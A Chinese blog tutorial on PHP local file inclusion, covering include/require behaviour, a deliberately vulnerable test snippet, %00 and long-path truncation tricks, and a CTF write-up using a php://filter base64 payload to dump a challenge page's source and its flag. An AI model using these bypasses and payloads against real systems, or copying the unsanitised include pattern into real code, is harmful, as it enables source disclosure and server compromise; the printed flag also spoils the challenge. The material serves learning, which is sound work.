文件包含漏洞(绕过姿势)
1.1文件包含漏洞的形成
文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。
文件包含函数主要有以下四个:
- include()
- include_once
- require()
- require_once()
他们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行,而require()和require_once()则会直接报错并退出程序。
1.2本地文件包含漏洞
本地文件包含(load file include)简称LFI
测试代码如下:
<?php
define("ROOT",dirname(_FILE_).'/');
$file=$_GET['file'];
echo ROOT.$file.'.php';
include(ROOT.$file.'.php');
?>
如果输入file=1,并在1.php中输入<?php phpinfo();?>,页面将会显示出php的版本信息。
1.3文件包含截断
文件包含中,如果我们不能写入以.php为扩展名的文件,常常需要进行截断
- 方法一:
因为php基于c语言,是以0字符进行结尾的,所以可以用\0或者%00进行截断
- 方法二:
因为有些时候%00截断会被GPC和addslashes等函数过滤掉,这是我们再用第一种方法就就没用了,而在目录字符串,在windows256字节,linux下4096字节时会达到最大值,最大值之后的字符将会被抛弃,这时就可以用多个(.)和(/)来截断
1.4 直接上题目
点击之后跳转到另一个界面
此时
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
我试着写了一段payload:
http://4.chinalover.sinaapp.com/web7/index.php?file=test123.php
和
http://4.chinalover.sinaapp.com/web7/index.php?file=index.php
完全没效果,哇,果然这一题不是这么简单,查看源码也没有啥有效信息,难受啊,实在没办法搜了答案,payload如下:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
convert.base64-encode对数据流进行加密
完全没看懂,没接触过filter,不知道是干嘛的,于是搜了一下:
原来这一题还考了php://filter的绕过,首先过滤index.php这个数据流,然后通过base64加密读取文件代码,这样页面就显示了一段经过base64加密之后的字符串,如下图:
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
拿去经过base64解码之后,网页源代码出现了:
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
flag:nctf{edulcni_elif_lacol_si_siht}
上一篇: Node.js中通用基础设计模式实例分析
下一篇: Ubuntu18下安装Eclipse